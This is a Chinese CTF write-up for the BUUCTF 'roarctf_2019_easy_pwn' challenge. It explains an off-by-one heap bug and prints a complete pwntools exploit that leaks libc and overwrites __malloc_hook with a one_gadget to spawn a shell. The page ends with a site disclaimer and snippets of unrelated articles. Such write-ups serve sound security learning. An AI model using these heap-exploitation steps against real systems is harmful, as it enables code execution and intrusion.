[BUUCTF]-PWN:roarctf_2019_easy_pwn解析

先看保护

64位,got表不可写

看ida

大致就是alloc创建堆块,fill填充堆块,free释放堆块,show输出堆块内容

这里要注意的点有以下

alloc创建堆块:这里采用的是calloc而不是malloc,calloc在创建堆块时会初始化也就是清空相应的内存空间,而malloc不会,这里使用calloc创建堆块

fill填充堆块:这里它限制了填充的字节大小不得超过堆块大小,但如果填充大小正好大于堆块10字节的话,就可以多溢出一个字节,存在off by one漏洞

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./easypwn')
#p=remote('node5.buuoj.cn',27041)

def alloc(size):
    p.sendlineafter(b'choice:',str(1))
    p.sendlineafter(b'size:',str(size))
def fill(index,size,content):
    p.sendlineafter(b'choice:',str(2))
    p.sendlineafter(b'index:',str(index))
    p.sendlineafter(b'size:',str(size))
    p.sendafter(b'content:',content)
def free(index):
    p.sendlineafter(b'choice:',str(3))
    p.sendlineafter(b'index:',str(index))
def show(index):
    p.sendlineafter(b'choice:',str(4))
    p.sendlineafter(b'index:',str(index))

alloc(0x18)
alloc(0x10)
alloc(0x60)
alloc(0x80)
payload=p64(0)*3+p8(0x91)
fill(0,0x18+10,payload)
free(1)
alloc(0x10)
show(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(mainarena88)
mainarena=mainarena88-88
mallochook=mainarena-0x10
libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
realloc=libcbase+libc.dump('realloc')
shell=libcbase+0x4526a
alloc(0x60)
free(2)
payload=p64(mallochook-35)
fill(4,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)+p8(0)*3+p64(shell)+p64(realloc)
fill(5,len(payload),payload)
print(hex(realloc))
alloc(1)
p.interactive()

这里我分为两部分来讲,再着重讲点细节。

第一部分(泄露libc地址):

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./easypwn')
#p=remote('node5.buuoj.cn',27041)

def alloc(size):
    p.sendlineafter(b'choice:',str(1))
    p.sendlineafter(b'size:',str(size))
def fill(index,size,content):
    p.sendlineafter(b'choice:',str(2))
    p.sendlineafter(b'index:',str(index))
    p.sendlineafter(b'size:',str(size))
    p.sendafter(b'content:',content)
def free(index):
    p.sendlineafter(b'choice:',str(3))
    p.sendlineafter(b'index:',str(index))
def show(index):
    p.sendlineafter(b'choice:',str(4))
    p.sendlineafter(b'index:',str(index))

alloc(0x18)
alloc(0x10)
alloc(0x60)
alloc(0x80)
payload=p64(0)*3+p8(0x91)
fill(0,0x18+10,payload)
free(1)
alloc(0x10)
show(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(mainarena88)
mainarena=mainarena88-88
mallochook=mainarena-0x10

首先从创建的四个堆块开始,第一个堆块选择0x18是有讲究的,因为在64位中alloc(0x10)和alloc(0x18)最终得到都是0x20大小的堆块,但0x18+1正好可以覆盖到下一堆块的size处

第二个堆块的大小存粹是因为大小没太大要求,越小当然越好操作

第三个堆块的大小是为了接下来修改第二个堆块的size完全覆盖第三个堆块时可以达到unsortedbin的大小,所以这个堆块的大小取决于第二个堆块

第四个堆块存粹是为了防止释放堆块时堆块会被top chunk合并

接下来修改第二个堆块,也就是堆块1的size,让它正好覆盖堆块1和堆块2,释放掉它,这时候再alloc(0x10)就会发现,当fastbin没有空闲堆块,但unsortedbin有时,它会根据申请的大小做出相应的反应,比如申请一个较小的,它就会切割unsortedbin里的堆块,这时一个完整的堆块2还在unsortedbin里,但我们并没有释放堆块2,也就是说堆块2的指针还在,我们依旧可以show(2)得到libc地址,这样这里就搞定了。

第二部分(getshell):

libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
realloc=libcbase+libc.dump('realloc')
shell=libcbase+0x4526a
alloc(0x60)
free(2)
payload=p64(mallochook-35)
fill(4,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)+p8(0)*3+p64(shell)+p64(realloc)
fill(5,len(payload),payload)
print(hex(realloc))
alloc(1)
p.interactive()

这里还是有很多细节要讲的

首先我们alloc(0x60)的原因主要是因为我们需要一个同时被两个指针(堆块2指针和堆块4指针)指向的堆块,这样才能进行下一步操作。

然后free(2),通过堆块4指针修改该堆块的fd,将其设置为我们想要填充内容的地址附近,这样我们连续两次alloc就可以在指定地址附近创建堆块,然后就是填充内容了。

填充内容这里要讲细一点。

这里为什么要把reallochook覆盖为onegadget而把mallochook设置为realloc呢?

因为onegadget的运行是需要条件的,当我们只把mallochook设置为onegadget时堆中相应的位置不满足onegadget的运行条件,需要调整堆栈结构,只能先运行部分的realloc来改变堆栈结构再getshell。

可以看一下这篇文章https://blog.csdn.net/qq_38154820/article/details/109040522

那篇文章的第二张图那里,执行realloc函数的流程是先进行部分的操作,也就是pop寄存器之类的操作,到了检查reallochook里的值那里才跳转,并不是一使用realloc函数就会直接调reallochook

内的函数,所以即使我们将reallochook里的值修改为onegadget,他也会先进行部分realloc的操作再运行onegadget,这样就调整了堆栈结构,使onegadget可以运行了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/367019.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

小白水平理解面试经典题目_二维数组类LeetCode 2966 Divide Array【排序算法实现】

2966 将数组划分为具有最大差值的数组 小白渣翻译: 给定一个大小为 n 的整数数组 nums 和一个正整数 k 。 将数组分成一个或多个大小为 3 的数组,满足以下条件: nums 的每个元素都应该位于一个数组中。一个数组中任意两个元素之间的差异小…

python打造光斑处理系统6:高斯拟合

文章目录 构建拟合函数数据获取打印信息 光斑处理:python处理高斯光束的图像 光斑处理系统: 程序框架🌟打开图像🌟参数对话框/伪彩映射🌟裁切ROI光强分布 构建拟合函数 scipy中提供了非线性最小二乘回归算法&#x…

创建型模式-单例模式:定义、实现及应用

目录 一、模式定义二、针对问题1.解决的问题2.解决方案3.举个例子4.设计模式适合场景5.实现方式6.优缺点7.与其他模式的关系 三、代码实现 一、模式定义 单例模式(Singleton Pattern)是一种创建型模式,用于限制某个类只能创建一个对象。它提…

CMake Msys2 搭配vscode

(一)MSYS2介绍 MSYS2(Minimal SYStem 2)是一个集成了大量的GNU工具链、工具和库的开源软件包集合。它提供了一个类似于Linux的shell环境,可以在Windows系统中编译和运行许多Linux应用程序和工具。 MSYS2基于MinGW-w64平台,提供了…

04、全文检索 -- Solr -- 管理 Solr 的 core(使用命令和图形界面创建、删除 core,以及对core 目录下的各文件进行详细介绍)

目录 管理 Solr 的 core创建 Core方式1:solr 命令创建演示:使用 solr 命令创建 Core:演示:命令删除 Core(彻底删除) 方式2:图形界面创建Web控制台创建CoreWeb控制台删除 Core(未彻底…

使用css绘制小三角形

要使用CSS绘制小三角形&#xff0c;您可以使用border属性来设置边框样式。下面是一种常见的绘制小三角形的方法&#xff1a; <style>.box {width: 0;height: 0;/* border-top: 10px solid red; */border-bottom: 10px solid blue;border-left: 10px solid transparent;b…

【Mysql】事务的隔离级别与 MVCC

事务隔离级别 我们知道 MySQL 是一个 C/S 架构的服务&#xff0c;对于同一个服务器来说&#xff0c;可以有多个客户端与之连接&#xff0c;每个客户端与服务器连接上之后&#xff0c;就是一个会话&#xff08; Session &#xff09;。每个客户端都可以在自己的会话中向服务器发…

【算法与数据结构】718、1143、LeetCode最长重复子数组 最长公共子序列

文章目录 一、718、最长重复子数组二、1143、最长公共子序列三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、718、最长重复子数组 思路分析&#xff1a; 第一步&#xff0c;动态数组的含义。 d p [ i ] [ j ] dp[i]…

计算机视觉-PCV包、Vlfeat库、Graphviz库的下载安装配置及问题解决(使用anaconda3 python 3.8.5)

目录 一、PCV包配置 二、Vlfeat配置 三、在PCV包的sift.py文件中对路径进行修改 四、以上步骤所需注意的错误 五、Graphviz配置 一、PCV包配置 1.下载PCV包,点开网址直接下载安装包(不用解压),下载之后将安装包放在任意目录位置https://codeload.github.com/Li-Shu14…

Java_简单实现无头单向非循环链表_简单实现LinkedList

文章目录 一、ArrayList的优缺点二、链表1.链表的概念及结构2.链表的分类1、单向或者双向2、带头或者不带头3、循环或者非循环 三、实现无头单向非循环链表1.定义接口2.定义MySingleList3.成员1、节点类&#xff08;定义在MySingList类里&#xff09;2、头节点引用 4.打印链表实…

【服务器搭建】快速完成幻兽帕鲁服务器的搭建及部署【零基础上手】

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 教程详戳&#xff1a;不需要懂技术&#xff0c;1分钟幻兽帕鲁服…

Datax问题记录

1、同步mysql&#xff1a;OS errno 24 - Too many open files 2023-11-20 12:30:04.371 [job-0] ERROR JobContainer - Exception when job run com.alibaba.datax.common.exception.DataXException: Code:[DBUtilErrorCode-07], Description:[读取数据库数据失败. 请检查您的…

【Kafka】 幂等和事务详解

目录 幂等性为什么需要幂等性如何实现幂等性使用幂等幂等性的限制条件幂等性的实现原理 事务为什么需要事务开启事务事务保证事务恢复的保证事务原子性的保证事务中 Offset 的提交保证用于事务特性的控制型消息 事务流程事务原理FindCoordinatorRequestInitProducerIdRequest开…

2.2作业

1、写一个宏&#xff0c;可以将一个int型整数的二进制位的奇数位和偶数位交换 2、递归实现字符串逆置 void func (char *src) {if (strlen(src) 0){return;} else{ func(&src[1]);printf("%c", src[0]);} } int main(int argc, const char *argv[]) { char *s …

☻C++ QA

0. 什么是“第一性原理”&#xff1f; 函数指针的定义泛式与原理&#xff1f;联合(union)的原理是怎样的&#xff1f;联合类型对象的指针是什么意思&#xff1f;命名空间在.h和.cpp中怎么定义和使用&#xff0c;是什么原理&#xff1f;静态变量/函数在.h和.cpp中怎么定义和使用…

资源推荐:web js linux windows vm 虚拟机

web js vm list https://bellard.org/jslinux/index.html 可以在在浏览器中运行 X Window 或 Windows 2000、linux 以下为示例&#xff1a; JSLinux - News 从2018-08-18开发更新到2021-01-09 … https://bellard.org/jslinux/news.html faq 常见问题解答 https://bella…

flv视频格式批量截取封面图(不占内存版)--其他视频格式也通用

flv视频格式批量截取封面图&#xff08;不占内存版&#xff09;--其他视频格式也通用 需求&#xff08;实现的效果&#xff09;功能实现htmlcssjs 需求&#xff08;实现的效果&#xff09; 批量显示视频&#xff0c;后端若返回有imgUrl,则直接显示图1&#xff0c; 若无&#xf…

如何使用VSCode上运行Jupyter,详细案例过程出可视化图

Python作为最受AI喜欢的语言之一&#xff0c;我们与大家共同学习下如何在VS Code上运行Jupyter&#xff0c;并且用简单案例实现出图。 环境 VS Code version: 1.80.1 Python: 3.12.0 小白安装过程&#xff1a; 在准备好基础环境&#xff0c;小白心想&#xff0c;AI可是霸占科…

爬虫(二)使用urllib爬取百度贴吧的数据

下一期我就不用urllib来抓取数据了&#xff0c;因为urllib现在已经很少人用&#xff0c;大部分人用得是requests&#xff0c;requests也是基于底层urllib的一个模块。 首先我先来讲一下关于如何使用动态的UA&#xff01; 动态UA就是指在自己创建的一个列表里随机选择一个UA当做…

07 SB3之@HttpExchange(TBD)

HttpExchange是SpringBoot3的新特性. Spring Boot3 提供了新的 HTTP 的访问能力&#xff0c;封装了Http底层细节. 通过接口简化 HTTP远程访问&#xff0c;类似 Feign 功能。 SpringBoot 中定义接口提供 HTTP 服务 --> 框架生成的代理对象实现此接口 --> 框架生成的代理…